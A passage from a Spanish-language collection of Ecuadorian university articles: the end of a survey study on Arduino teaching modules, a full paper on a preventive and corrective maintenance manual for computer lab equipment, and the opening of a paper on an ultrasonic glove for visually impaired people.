“Los centros educativos optarán por una habitación tecnológica, pretendiendo elevar el nivel pedagógico en las escuelas y fomentándose el uso de tecnologías de la información y comunicación, en la docencia y el alumnado, considerando que las herramientas puedan actuar por si sola” (Rojas, 2017).

Dentro de este proceso de cambio pedagógico el estudiante se incorpora de manera rápida por aprender más y experimentar nuevas tecnologías tecnológicas y recursos, que el docente imparte a sus estudiantes.

Mediante este método se enfoca en transmitir por distintos medios determinados de conocimientos que serán la fortaleza de los que lo adquieren.

Según lo expuesto por Delgado & Demera, (2014) Manifestaron las siguientes funciones en la enseñanza:

- Estimular la atención y motivar.
- Dar a conocer a los alumnos los objetivos del aprendizaje.
- Activar los conocimientos y habilidades previa de los estudiantes, relevante para los nuevos trabajos.
- Presentar información sobre los contenidos a aprender.
- Orientar las actividades de aprendizaje de los estudiantes.
- Incentivar la interacción de los estudiantes con las actividades de aprendizaje con los materiales con los compañeros
- Evaluar los aprendizajes realizados

La investigación está enfocada en los estudiantes y docentes de la “Unidad Educativa Fiscal Jipijapa”, el mismo que se desarrolló en una investigación de campo, con el propósito de cumplir con los objetivos establecidos en esta investigación, mediante la cual permitió comprobar la hipótesis estipulada en esta investigación.

RESULTADOS Y DISCUSIÓN

La investigación se realizó en la Unidad Educativa Fiscal Jipijapa se tomó en cuenta la población donde se escogió a los estudiantes de bachillerato, y 1 docente experto del laboratorio de electricidad, donde se aplicó una investigación de muestreo probabilístico, sumando un total de 116 de población.

Una vez aplicada las encuestas en la cual se formularon 6 preguntas a los estudiantes, y una entrevista al docente de la asignatura Automatismo y Cuadros Eléctricos, se establecen los resultados con sus respectivas interpretaciones. Para la obtención de los resultados y sus correspondientes tabulaciones se utilizó la técnica histograma a través de la hoja de cálculo Excel.

Pregunta 1. ¿Cree usted que su profesor utiliza diferentes equipos tecnológicos a la hora impartir las clases? Los resultados indican que el 6% de los estudiantes de bachillerato aducen que el profesor si utiliza equipos tecnológicos para impartir sus clases, el 90% de los encuestados indicaron que el profesor no utilizan diferentes equipos tecnológicos para incentivar las practicas dentro del laboratorio de electricidad, el 4% de encuestado respondieron que solo a veces los docentes utilizan estos recursos.

Pregunta 2. ¿Cree usted que al utilizar nuevas herramientas tecnológica didáctica fortalecerá el proceso de enseñanza-aprendizaje? 80 estudiantes indicaron que si le gustaría utilizar nuevas herramientas tecnológicas didácticas el cual le permitirá fortalecer el proceso de enseñanza- aprendizaje que equivale al 90%,5 estudiantes de bachillerato indicaron que no es factible utilizar nuevas herramientas de trabajo que corresponde al 6%, 4 estudiantes dijeron que tal vez, que corresponde al 4% de los encuestado de bachillerato. Estos porcentajes indican que la mayoría de los estudiantes de la Unidad Educativa Fiscal Jipijapa le gustaría utilizar nuevas herramientas tecnológicas didácticas que induciría a formar nuevos conocimientos y experiencias a lo largo de su vida estudiantil facilitando el proceso enseñanza-aprendizaje.

Pregunta 3. ¿Cree usted que al disponer de nuevos dispositivos didácticos interactivos aumentaran el nivel de prácticas en el laboratorio de electricidad? Se determinaron en la encuesta realizada que 89 estudiantes de bachillerato consideran viable que al disponer de nuevos dispositivos didácticos e interactivo aumentaran sus practica dentro del laboratorio de electricidad debido que existirá una herramienta más de trabajo, que da como resultado el 100%, de los resultados obtenidos. Porcentaje que denota que la mayoría de los estudiantes de

la Unidad Educativa Fiscal Jipijapa, consideran probable que la institución cuente con nuevos recursos tecnológicos

Pregunta 4. ¿Usted tiene conocimiento de las aplicaciones que se pueden desarrollar con plataformas arduino? A Los resultados indican que el 91% de los estudiantes no conocen cuales son los beneficios que ofrecen estas plataformas arduino debido que no existen un material didáctico en el aula de clases, el 0,06% de los encuestados indicaron que si conocen los beneficios que ofrecen estos sistemas arduino ya que ofrecen una gama de aplicaciones desarrollados con arduino, el 3% de los estudiantes encuestados indicaron que muy poco conocen de estas aplicaciones. Resultados que indican el mayor porcentaje que los estudiantes de la Unidad Educativa Fiscal Jipijapa, no tienen conocimiento sobre las aplicaciones que se pueden desarrollar con arduino.

Pregunta 5. ¿Cree usted necesario que se disponga de un manual de usuario para la manipulación del circuito Arduino? Observando el resultado de la pregunta N° 5 realizado a los estudiantes de bachillerato de Unidad Educativa Fiscal Jipijapa consideran necesario que se disponga de un manual de práctica para la manipulación de estos equipos tecnológicos dando como resultado obtenido el 100% dijeron si es necesario contar con un material de apoyo en el aula de clases. Porcentaje que indica, que la mayoría de los estudiantes encuestados consideran que, si es importante la utilización de una guía de práctica, para poder realizar diferentes tipos de practica dentro del laboratorio de electricidad

Pregunta 6. ¿Cree usted que al disponer de un módulo didáctico Arduino con tecnología Bluetooth fortalecerá el proceso enseñanza-aprendizaje? Con referencia a los resultados obtenidos mediante las encuestas de 89 estudiantes de bachillerato de la Unidad Educativa Fiscal Jipijapa el 92% consideran que al desarrollar aplicaciones con placas arduino si influye positivamente al proceso de enseñanza- aprendizaje en los estudiantes, el 0,06% afirman que no es necesario, y el 2% indico que tal vez. Porcentaje que denota que la mayoría de los estudiantes la Unidad Educativa Fiscal Jipijapa determinan que es importante que se desarrollen estas aplicaciones para incentivar el proceso de enseñanza-aprendizaje.

CONCLUSIÓN

Se concluye que la Unidad Educativa Fiscal Jipijapa, cuenta con equipos de electricidad, pero la mayoría los mismos están obsoletos, por lo tal motivo los estudiantes necesitan del empleo de estas tecnologías en el desarrollo de su aprendizaje.

Para comprender el funcionamiento del circuito se realizó prácticas en el laboratorio de electricidad, con el fin de que los estudiantes y docentes puedan realizar infinitos proyectos lo cual beneficia el proceso de enseñanza –aprendizaje dentro de la institución.

Con la implementación del módulo didáctico arduino se fortaleció el aprendizaje en los estudiantes de la Unidad Educativa Fiscal Jipijapa, con los nuevos recursos tecnológicos didácticos despertando el interés de los alumnos por aprender e investigar tecnologías nuevas e innovadoras.

REFERENCIAS BIBLIOGRÁFICAS

Angarita, v. m., fernández, m. f., & duarte. (2014). Material educativo computarizado para enseñanza de la instrumentación básica en electrónica. Redalyc. Obtenido de <http://www.redalyc.org/articulo.oa?id=257021008011>

Belloch, C. (2016). Las tecnologías de la información y comunicación (T.I.C.).

Bruner, J., & Martínez, S. (2014). La concepción del aprendizaje según J. Bruner. Obtenido de <http://www.uhu.es/cine.educacion/didactica/000didactica.htm>

Cabero. (1998). Recursos tecnológicos: tic. UniversitatValencia. Obtenido de <http://www.uv.es/bellohc/logopedia/NRTLogo1.wiki>

Cabero, A. (2010). Los retos de la integración de las TICs en los procesos educativos.

Cabero, A. (2012). Nuevas tecnologías, comunicación y educación. dialnet. Obtenido de <https://dialnet.unirioja.es/servlet/articulo?codigo=635397>

Cabero, J. (1996). Nuevas tecnologías, comunicación y educación. Obtenido de <http://www.uib.es/depart/gte/revelec1.html>

Calero, F. (2017). Proceso de enseñanza-aprendizaje. Ecured. Obtenido de https://www.ecured.cu/Proceso_de_ense%C3%B1anza-aprendizaje

Cantillo, C., Redondo, M., & Sánchez, A. (2013). Tendencias actuales en el uso de dispositivos móviles en educación. Obtenido de http://educoas.org/portal/la_educacion_digital/147/pdf/ART_UNNED_EN.pdf

Cantón, I. (2016). Tecnologías de la información y la comunicación: Evolución del concepto y características. IJERI. <http://www.upo.es/revistas/index.php/IJERI>

Castro, C., Borjas, & Vergara. (2015). Recursos educativos digitales para la educación infantil. Redalyc. Obtenido de <http://www.redalyc.org/pdf/853/85331022002>

Cibanal, n. (2014). Teoría de la comunicación humana. Redalyc. Obtenido de <http://www.redalyc.org/pdf/199518706028.pdf>

Delgado, & Demera, N. (2014). Mejoramiento del proceso de enseñanza-aprendizaje a través de la implementación de equipos tecnológicos. Portoviejo.

Duffy. (1992). Características del aprendizaje eficaz. FOREC.

EcuRed. (2016). Conocimiento con todos y para todos. Obtenido de http://www.ecured.cu/index.php/m%C3%A9todos_de_ense%C3%B1anza

Escolares.net. (2014). Definición de aprendizaje y enseñanza. Obtenido de [www.escolares.net: http://www.escolares.net/conceptos/aprendizaje-y-ensenanza/](http://www.escolares.net/conceptos/aprendizaje-y-ensenanza/)

García, P. (2014). El uso de material didáctico y las tecnologías de información. Obtenido de http://cvonline.uaeh.edu.mx/Cursos/Maestria/MTE/Gen02/Admon_

Jhon, T., & Rajasingham., L. (2017). Técnica expositiva. dima. Obtenido de <https://fdimafp.wikispaces.com/T%C3%89cnica+expositiva>

LAUREANO, A. (2015). Software educativo herramienta de apoyo para la asignatura almacenamiento, conservación y preservación en las ciencias de la información. Obtenido de <http://www.revista.unam.mx/vol.2/num1/proyec1/index.html>

López, S. (2012). Impacto que tienen las TIC en educación primaria en los procesos de aprendizaje. Relatec. <http://campusvirtual.unex.es/revistas>

Manene, L. (2015). Tecnologías de la información y comunicación. Obtenido de <http://www.luismiguelmanene.com/2011/09/29/las-tics-definicion-y-metodologia-m-i-t-de-introduccion-en-pymes/>

Mañoso, C., Romero, R., & Rubio, M. (2014). Uso de las plataformas LEGO y Arduino en la enseñanza de la programación. Obtenido de <http://upcommons.upc.edu/handle/2099/15503>

Meneses, G. (2012). El proceso de enseñanza- aprendizaje:el acto didáctico. Obtenido de <http://www.tdx.cat/bitstream/handle/10803/8929/Elprocesodeensenanza.pdf>

Orellana, L. (2015). Métodos en cuento a la forma de razonamiento. Obtenido de http://biblio3.url.edu.gt/Libros/didactica_general/12.pdf

Peña, M. (2013). Análisis comparativo en el uso de las tics para aplicaciones educativas de la competencia tecnológica. Eumed. Obtenido de <http://www.eumed.net/rev/tlatemoani/15/tecnologia-educacion.html>

Pere, G. (2013). Impacto de las Tic en educación. Obtenido de <https://tic-normal.wikispaces.com/FUNCIONES+DE+LAS+TICS>

Pereira, S. (2016). La utilización de las Tecnologías de Información y la Comunicación en la educación en la Isla de Santiago de Cabo Verde desde la perspectiva de los profesores, estudiantes y padres. Dialnet.

Requena, S. H. (2012). El modelo constructivista con las nuevas tecnologías aplicado en el proceso de aprendizaje. RUSC. Obtenido de <http://www.revista.unam.mx/vol.5/num10/art65/int65.htm>

Rivera. (1988).). La Enseñanza De La Industria. Obtenido de http://sisbib.unmsm.edu.pe/bibvirtual/publicaciones/indata/v01_n2/ense%C3%B1anza.htm

Rodriguez, I. (2015). Herramientas para la producción de. Scielo. Obtenido de http://scielo.sld.cu/scielo.php?script=sci_arttext&pid

Rojas, F. (Marzo de 2017). EL aprendizaje. EcuRed. Obtenido de <https://www.ecured.cu/Aprendizaje>

Rosell, P., & Paneque. (2013). Consideraciones generales de los métodos de enseñanza y su aplicación en cada etapa del aprendizaje. . Habanera de Ciencias Médicas.

Ruay, g. (2013). El rol de docente en el contexto actual. Revista electrónica de desarrollo de competencias. Redec.

Salina, M. (2014). Entornos virtuales de aprendizaje en la escuela: tipos, modelo didáctico y rol del docente. Universidad Católica de Argentina. Edu. Obtenido de http://www.uca.edu.ar/uca/common/grupo95/files/articuloseducacion-eva-en-la-escuela_web-depto.pdf

Salinas, J. (2016). Uso de tic en escuelas publicas de ecuador: analisis reflexiones y valoraciones. edutec. Obtenido de <http://www.edutec.es/revista/index.php/edutec-e>

Sánchez, B., Martínez, R., & Hiracheta, R. (2014). El uso de material didáctico y las tecnologías de información y comunicación (TIC's) para mejorar el alcance académico.

Sánchez, J., & Izquierdo, A. (2013). Estrategias pedagógicas para uso de los dispositivos móviles como herramientas didácticas del aprendizaje. Obtenido de <https://www.uam.es/gruposinv/dim/assets/dalia-uned-2014.pdf>

Severin, E. (2014). Tecnologías de la Información y la Comunicación, TIC. Obtenido de Unesco: <http://www.unesco.org/fileadmin/MULTIMEDIA/FIELD/Santiago/pdf/apuntes3-2014.pdf>

Turban, L., & McLean, & W. (2011). Información Technology for Management: Transforming Organizations in the Digital Economy. Obtenido de <http://clasificaciondelastics.blogspot.com/2009/05/clasificacion-de-las-tics.html>

UNESCO. (1984). Nuevas tecnologías aplicadas a la educación. Obtenido de <https://www.uclm.es/profesorado/ricardo/DefinicionesNNTT.html>

BENEFICIOS DEL MANTENIMIENTO PREVENTIVO Y CORRECTIVO APLICADOS A LOS EQUIPOS INFORMÁTICOS CON EL FIN DE MEJORAR SU RENDIMIENTO OPERATIVO

Martha Irene Romero Castro

Rosario Magdalena Romero Castro

Marco Antonio Toala Pilay Castro

Vicente Fray Romero Castro

Carlos Andrés Achón Fienco

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

martha.romero@unesum.edu.ec

rosario.romero@unesum.edu.ec

toala.marco@unesum.edu.ec

vicente.romero@unesum.edu.ec

fiencocarlos@gmail.com

RESUMEN

En la carrera de Ingeniería en Computación y Redes de la Facultad de Ciencias Técnicas se realizó la siguiente investigación que tiene como fin el diseño de un manual de mantenimiento preventivo y correctivo para mejorar el rendimiento de los equipos computacionales del laboratorio de telecomunicaciones. El cual se desarrolló en base a la necesidad de crear una guía que ayude a ejecutar de manera correcta los respectivos mantenimientos en un equipo computacional para mantenerlos en óptimas condiciones. Para cumplir con el proceso de desarrollo del proyecto fue indispensable plantear objetivos que permitan diagnosticar, analizar y desarrollar el manual, de igual manera se describió el marco conceptual siendo este una base de descripción de cada herramienta y tipos de mantenimientos que se pueden realizar a una computadora, también se aplicó una metodología cualitativa – cuantitativa con sus diferentes métodos analítico-descriptivo, hipotético-deductivo, estadístico y exploratorio, para la recolección de información se empleó técnicas como encuesta, entrevistas y observación directa. Por ende, se concluye con la implementación de un manual bajo la norma ISO 9001 para el mantenimiento preventivo y correctivo de los equipos computacionales del laboratorio de telecomunicaciones, beneficiando a toda la Carrera de Ingeniería en Computación y Redes, ya que en el manual se describen paso a paso como realizar un mantenimiento y de esta forma los estudiantes tengan una guía para realizar prácticas.

PALABRAS CLAVES: norma ISO 9007, manual, mantenimiento, guía, computacional.

ABSTRACT

In the career of Computer and Network Engineering of the Faculty of Technical Sciences, the following research was carried out that aims to design a preventive and corrective maintenance manual to improve the performance of the computer equipment of the telecommunications laboratory. Which was developed based on the need to create a guide that helps to correctly execute the respective maintenance in a computer equipment to keep them in optimal conditions. In order to comply with the project development process, it was essential to propose objectives that allow diagnosing, analyzing and developing the manual, in the same way the conceptual framework was described, this being a base of description of each tool and types of maintenance that can be performed at a computer, a qualitative - quantitative methodology was also applied with its different analytical-descriptive, hypothetical-deductive, statistical and exploratory methods, for the collection of information techniques such as survey, interviews and direct observation were used. Therefore, it concludes with the implementation of a manual under the ISO 9001 standard for the preventive and corrective maintenance of the computer equipment of the telecommunications laboratory, benefiting the entire Engineering and Computer Engineering Degree, since the manual describes step by step how to perform a maintenance and in this way the students have a guide to practice

KEYWORDS: ISO 9007 standard, manual, maintenance, guide, computational

INTRODUCCIÓN

La tecnología está inmersa en nuestra sociedad, hasta el punto de que el ser humano dependa de ella, la Universidad Estatal del Sur de Manabí cuenta con la carrera de ingeniería en computación y redes donde se forman profesionales dispuesto a aportar con sus conocimientos con la colectividad, la carrera tiene un laboratorio de telecomunicaciones donde los estudiantes realizan sus prácticas dependiendo a las cátedras impartidas en las aulas.

La presente investigación tiene como objetivo diseñar un manual de mantenimiento preventivo para el mejoramiento de los equipos computacionales del laboratorio de telecomunicaciones, la cual se llevará a cabo mediante la norma ISO 9001.

Si bien es cierto hay que tener en cuenta que se debe realizar el debido mantenimiento al computador en un tiempo limitado ya sea para evitar fallas o daños ya que el mantenimiento se considera como una actividad para mantener un objeto en buen estado.

El periodo de mantenimiento se deriva de varios factores: el tiempo de operación, las aplicaciones o software que se puedan ejecutan, el lugar donde está situada, del equipo, y el resultado alcanzado en el último mantenimiento dado.

Se recomienda darles mantenimiento a las laptops en un tiempo máximo de tres meses de uso, y con respecto al pc de escritorio se les debe realizar su respectivo mantenimiento como mínimo una vez al mes.

Existen dos tipos de mantenimientos, podemos encontrar el preventivo y correctivo, el preventivo es aquel que se lo realiza mediante un determinado tiempo, puede ser cada quince días, cada mes, cada año; esto se basa en un chequeo completo mediante revisiones y reparaciones que garantiza un excelente rendimiento y funcionamiento del ordenador.

Por otra parte, el mantenimiento correctivo permite mejorar las funcionalidades que ofrecen los ordenadores para un óptimo rendimiento, mejorar la seguridad y así mismo el flujo de la información.

Cabe recalcar que al realizar los respectivos mantenimientos puede surgir la pérdida de información si el que las efectúa no realiza un correcto respaldo de datos, es por esto que se recomienda tener prioridad por la información que mantiene el usuario en el computador y así evitar la pérdida de los mismos.

MATERIALES Y MÉTODOS

Se considera mantenimiento a los métodos destinados a mantener a los equipos e instalaciones industriales en uso durante el mayor tiempo posible y así mismo con un óptimo rendimiento.

Según (Richarte, 2018) el espectro de posibles causas que afectan el rendimiento de una computadora personal se extiende desde aspectos relacionados con el hardware (equipos mal ensamblados, insuficiente ventilación interna, configuración deficiente del BIOS Setup, batería del motherboard: agotada) hasta cuestiones referidas al software (sistemas operativos abundantes en funciones innecesarias, controladores obsoletos, malware y falta de mantenimiento periódico).

Por ende; mantenimiento es una práctica que certifica la presencia de un servicio para algún equipo para que los mismos operen con un funcionamiento de calidad para satisfacer las necesidades del usuario.

Cabe recalcar que la restauración de un equipo solicita conocimiento tanto de software como hardware, ya que una computadora es un medio donde se procesa información dependiendo del programa destinado para el pc y así obtener los resultados, caso contrario pueden existir incompatibilidad o conflictos entre programas.

Tal es el caso que si un equipo de cómputo se descompone no quiere decir que sus componentes estén en mal estado o dañados si no que pueden existir fallas en el software.

El mantenimiento se define como un conjunto de actividades desarrolladas con el fin de asegurar que cualquier activo continúe desempeñando las funciones deseadas o de diseño. (López, Bryan Salazar, 2016).

Según (Lopez, 2014) Las cargas electrostáticas que pueden superar los 30.000 voltios (pero con baja corriente, por eso no nos electrocuta), dicha magnitud de algunos de los circuitos integrados que forman parte de la computadora significará la destrucción, la siguiente lista indica los cuidados que hay que tener para prevenir estas descargas y hacer descarga a tierra cuando se trabaje con los componentes:

- Es importante que el técnico descargue la electricidad estática del cuerpo antes de hacer la manipulación de los componentes, esto se lo puede hacer tocando el piso por unos segundos.
- También se puede utilizar un brazalete antiestático, este debe estar conectarlo al chasis del CPU para acceder con la tranquilidad a la manipulación de los componentes.
- No hacer uso de aerosol que contengan freOn, el mismo puede provocar cargas electrostáticas.
- Se recomienda la utilización de vestimentas de algodón para evitar cargas electrostáticas.
- Conectar la punta del soldador a tierra y al chasis del CPU.

El mantenimiento correctivo es aquel encaminado a reparar una falla que se presente en un momento determinado. Es el modelo más primitivo de mantenimiento, o su versión más básica, en él, es el equipo quien determina las paradas. Su principal objetivo es el de poner en marcha

el equipo lo más pronto posible y con el mínimo costo que permita la situación. (Salamanca, 2016).

El mantenimiento preventivo consiste en evitar la ocurrencia de fallas en las máquinas o los equipos del proceso. Este mantenimiento se basa en un "plan", el cual contiene un programa de actividades previamente establecido con el fin de anticiparse a las anomalías. En la práctica se considera que el éxito de un mantenimiento preventivo radica en el constante análisis del programa, su reingeniería y el estricto cumplimiento de sus actividades. (Duran, 2016)

El mantenimiento predictivo es una modalidad que se encuentra en un nivel superior a las dos anteriores, supone una inversión considerable en tecnología que permite conocer el estado de funcionamiento de máquinas y equipos en operación, mediante mediciones no destructivas. Las herramientas que se usan para tal fin son sofisticadas, por ello se consideran para maquinaria de alto costo, o que formen parte de un proceso vital. (Infoguia.com, 2018).

Según (Richarte, 2018) el mantenimiento preventivo es un plan programado, predictivo o de ocasión para realizar ciertos procedimientos con las herramientas adecuadas, que garanticen: el correcto desempeño de todos los sistemas, la seguridad y la integridad de los datos, la correcta comunicación con la red de comunicación, el buen funcionamiento de hardware, y por supuesto, lo que nos reclama el cliente: la mayor velocidad posible de procesamiento

Cabe recalcar que la misión principal del mantenimiento preventivo es que los equipos o dispositivos electrónicos se mantengan en óptimas condiciones para que así lleguen a efectuar el trabajo al que están destinados de manera rápida y eficiente.

Entonces, si hablamos de mantenimiento preventivo, nos estamos refiriendo a realizar una serie de pasos para evitar la aparición de muchos problemas en el futuro, para esto; tenemos que revisar cada parte de la PC, tanto hardware y software y aplicar procedimiento apropiado para cada uno. (Richarte, 2018).

RESULTADOS Y DISCUSIÓN.

La población tomada en cuenta para la presente investigación es del periodo académico noviembre 2017 – mayo 2018, la cual está dirigida a los estudiantes y encargados de los laboratorios de la carrera de Ingeniería en Computación y Redes, a continuación, se especifica cada población: 125 estudiantes de la Carrera de Ingeniería en Computación y Redes, 2 encargados de los laboratorios de computación de la Carrera de Ingeniería en Computación y Redes. La entrevista que se llevó a cabo en el presente proyecto de investigación está dirigido

a los encargados de los laboratorios de computación de la carrera de Ingeniería en Computación y Redes, se la efectuó con el único fin de conocer si es viable o factible la implementación del mantenimiento preventivo y correctivo para mejorar el rendimiento de los equipos computacionales del laboratorio de telecomunicaciones.

Con las preguntas dirigidas se logró percatar que el mantenimiento de los equipos de cómputo del laboratorio ya mencionado es importante para su durabilidad y buen funcionamiento, para que así los estudiantes realicen sus prácticas de acorde a los conocimientos adquiridos en las cátedras implantadas. A continuación, se detalla la encuesta realizada a los estudiantes de la carrera.

1. ¿Considera usted que en el laboratorio de telecomunicaciones se aplican normas, políticas y estándares para el buen mantenimiento preventivo y correctivo de los equipos computacionales?

Tabla 1: Normas, políticas y estándares

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	23	18%
	27	22%
NO TALVEZ	75	60%
TOTAL	125	100%

Fuente: Estudiante de la carrera de Ingeniería en Computación y Redes.

Análisis e interpretación:

De los resultados obtenidos de la primera pregunta podemos observar en el respectivo graficoque de los 125 estudiantes encuestados el, 18% que corresponde a 23 de los estudiantes respondieron que si consideran que en el laboratorio de telecomunicaciones se aplican normas, políticas y estándares para el buen mantenimiento preventivo y correctivo de los equipos computacionales, el 22% que representa a 27 estudiantes señalaron que no, mientras que el 60% que representa a 75 estudiantes mencionaron que tal vez si se apliquen.

2. ¿Conoce usted la forma correcta de aplicar el mantenimiento correctivo y preventivo a los equipos computacionales?

Tabla 2: Aplicación del mantenimiento correctivo y preventivo

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	61	49%
NO	5	4%
TALVEZ	59	47%
TOTAL	125	100%

Fuente: Estudiante de la carrera de Ingeniería en Computación y Redes.

Análisis e interpretación:

De los resultados obtenidos de la tercera pregunta podemos observar en el respectivo grafico que de los 125 estudiantes encuestados el, 49% que representa a 61 estudiantes, respondieron que, si conocen la forma correcta de aplicar el mantenimiento correctivo y preventivo a los equipos computacionales, mientras que el 4% que representa a 5 estudiantes mencionaron que no conocen la forma correcta de aplicar el mantenimiento y el 47% que equivale a 59 estudiantes mencionaron que tal vez.

3. ¿Cree usted que los mecanismos de corrección y prevención son necesarios para los equipos computacionales?

Tabla 3: Mecanismo de prevención y corrección

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	115	92%
NO	1	1%
TALVEZ	9	7%
TOTAL	125	100%

Fuente: Estudiante de la carrera de Ingeniería en Computación y Redes

Análisis e interpretación:

De los resultados obtenidos de la quinta pregunta podemos observar en el respectivo grafico que de los 125 estudiantes encuestados el, 92% que representa a 115 estudiantes, respondieron que creen que los mecanismos de corrección y prevención son necesarios para los equipos computacionales, mientras que el 1% que representa a 1 estudiante menciona que no cree que

es necesario estos tipos de mantenimiento y el 7% que equivale a 9 estudiantes mencionaron que tal vez.

4. ¿Conoce usted cada que tiempo se le deben realizar el respectivo mantenimiento a los equipos computacionales?

Tabla 4: Tiempo

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	118	94%
NO	2	2%
TALVEZ	5	4%
TOTAL	125	100%

Fuente: Estudiante de la carrera de Ingeniería en Computación y Redes

Análisis e interpretación:

De los resultados obtenidos de la sexta pregunta podemos observar en el respectivo grafico que de los 125 estudiantes encuestados el, 94% que representa a 118 estudiantes, respondieron que conocen cada que tiempo se le deben realizar el respectivo mantenimiento a los equipos computacionales, mientras que el 2% que representa a 2 estudiante mencionaron que no creen que sea necesario estos tipos de mantenimiento y el 4% que equivale a 5 estudiantes mencionaron que tal vez.

5. ¿Considera usted beneficioso la implementación de un manual basado en las normas ISO 9001 para el mantenimiento preventivo y correctivo de los equipos computacionales del laboratorio de telecomunicaciones?

Tabla 5: Manual

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	120	96%
NO	1	1%
TALVEZ	4	3%

TOTAL

125

100%

Fuente: Estudiante de la carrera de Ingeniería en Computación y Redes.

Análisis e interpretación:

De los resultados obtenidos de la octava pregunta podemos observar en el respectivo gráfico que de los 125 estudiantes encuestados el, 96% que representa a 120 estudiantes, respondieron que si consideran beneficioso la implementación de un manual basado en las normas ISO 9001 para el mantenimiento preventivo y correctivo de los equipos computacionales del laboratorio de telecomunicaciones, mientras que el 1% que representa a 1 estudiante menciona que no es beneficioso y el 3% que equivale a 4 estudiantes mencionaron que tal vez.

CONCLUSIÓN

Una vez culminado la investigación se realizó lo siguiente:

- Se elaboró un diagnóstico que permitió conocer sobre el estado técnico y operativo de los equipos computacionales del laboratorio de telecomunicaciones, teniendo como resultado aspectos significativos para el desarrollo del manual.
- Se analizaron de forma clara y precisa las normas y estándares de seguridad para desarrollar el manual de mantenimiento preventivo y correctivo de los equipos computacionales, obteniendo como resultado que la norma ISO 9001 es la más óptima para estructurar el manual y de esa forma garantizar la calidad de los equipos del laboratorio de telecomunicaciones.
- Se desarrolló de manera exitosa el manual bajo la norma ISO 9001, el cual especifica los pasos que se deben seguir para un mantenimiento preventivo y correctivo, de igual forma se implementó el software libre BleachBit para eliminar toda clase de archivos basura permitiendo liberar espacio en el disco duro.

REFERENCIAS BIBLIOGRÁFICAS

ABC. (13 de febrero de 2015). ¿Qué es un CPU? abc tecnología.

Alegsa, L. (16 de mayo de 2018). Definición de Sistema informático (SI). Alegsa, 2. Bolaños, E. R. (febrero de 30 de 2016). Norma ISO. Bogotá - Colombia: Universidad del Rosario.

Bordon, E. (01 de octubre de 2013). Aparatos eléctricos. Colombia: abc.

Campozano, A. (2014). Software Libre y abierto. México: Universidad Nacional de México.

Duran, J. R. (2016). Mantenimiento Preventivo. Santo Domingo: Universidad Tecnológica Equinoccial.

EasyMaint . (2016). Mantenimiento de Planta. España: EasyMaint .

Emplit, R. (2014). EIA/TIA 607 requisitos para conectar a tierra. Tic de hoy, 7.

Granados, W. (2018). Mantenimiento preventivo. Lima: Informat. Infoguia.com. (2018). Para qué sirve el mantenimiento industrial. Infoguia.

ISOTools. (13 de Julio de 2015). ISO 9001:2008 Requisitos del Sistema de Gestión de la Calidad. Obtenido de <https://www.isotools.com.co>

Lopez, J. L. (marzo de 2014). Elemento físico o hardware, descripción y mantenimiento.

Colombia: Publicaciones Tecnológicas. Obtenido de Informática.

López, L. (13 de abril de 2015). Qué es un Setup en un ordenador o computadora. Lima: La computadora.

López, M. O., & Ascencio, G. A. (2013). Implementación del mantenimiento preventivo y correctivo para el mejoramiento del rendimiento de los equipos computacionales de escritorio y laptop, de la fundación Salvador del mundo. . San Salvador - El Salvador: Universidad Tecnológica de El Salvador.

Olvera, A. (2017). Desarrollo conceptual del mantenimiento. Tamaulipas.

Pérez, J. V. (2013). Origen y evolución de periféricos de computadoras. Pachuca de Soto - Hidalgo: Universidad Autónoma del Estado de Hidalgo.

Perez, M. (08 de febrero de 2015). Normas y estándares para Centros de Cómputo.

Salvador: Universidad Luterana Salvadoreña.

R, E., & Bolaños, L. (2015). La gestión de la calidad en Perú: un estudio de la norma ISO 9001, un estudio de la norma ISO 9001. Bogotá, Colombia: Universidad del Rosario - Universidad & Empresa, vol. 18, núm. 30.

Richarte, J. (2018). mantenimiento preventivo y salida laboral. RedUsers. Richarte, J. (2018). Servicio técnico. RedUsers, 2018.

Richarte, J. (2018). Servicio Técnico 24: Mantenimiento preventivo y salida laboral: Curso visual. RedUsers, 2018.

Torres, P. (2015 de septiennre de 2015). ANSI/TIA/EIA - 606 - A. Iso Internacional. UGR. (2013). Norma ISO 9001:2008. Granada: Universidad de Granada.

PROTOTIPO DE GUANTE ULTRASÓNICO PARA PERSONAS CON DISCAPACIDAD VISUAL

Lcda. Grace Liliana Figueroa Morán, MG. IE.

Elizabeth Nicole Rodríguez Guale

Luis Alberto Pacheco Barzola

Ing. Julio Paladines Morán, MG. IE.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

luis_diestro101@hotmail.com

RESUMEN

El presente artículo tiene como intención presentar el desarrollo de un prototipo de guante ultrasónico para personas con discapacidad visual, aportando significativamente en la movilización de las personas con discapacidad visual evitando tener contacto con los obstáculos que se encuentren en el camino. Considerando que en los actuales momentos la tecnología asistiva ha avanzado drásticamente permitiendo desarrollar dispositivos que sean capaces de ayudar a las personas con discapacidad visual en su día a día. La metodología utilizada en el proceso de estudio fue de tipo diagnóstica-propositiva, cualitativa y cuantitativa. Las herramientas desarrolladas fueron cuestionarios para las encuestas y entrevistas. Estos prototipos contienen sensores de distancia ultrasónicos que emiten ondas imperceptibles al oído humano que al chocar con algún obstáculo permite detectar el eco reflejado y saber su proximidad, una vez conocida la distancia entre el obstáculo y la persona, un microcontrolador se encarga de evaluar si es necesario emitir alarma para prevenir a la persona sobre la proximidad de algún obstáculo.

PALABRAS CLAVE: prototipo, ultrasónico, discapacidad visual, tecnología asistiva.

ABSTRACT

The present article intends to present the development of a prototype of an ultrasonic glove for people with visual impairment, contributing significantly in the mobilization of people with visual disability avoiding having contact with the obstacles that are in the way. Considering that at present the assistive technology has advanced drastically allowing to develop devices that are able to help people with visual disabilities in their day to day. The methodology used in the study process was diagnostic-propositive, qualitative and quantitative. The tools developed were questionnaires for the surveys and interviews. These prototypes contain ultrasonic distance sensors that emit imperceptible waves to the human ear that, when hitting an obstacle, can detect the reflected echo and know its proximity, once the distance between the obstacle and the person is known, a microcontroller is responsible for evaluating if it is necessary to issue an alarm to warn the person about the proximity of an obstacle.

KEYWORDS: prototype, ultrasonic, visual disability, assistive technology.

INTRODUCCIÓN

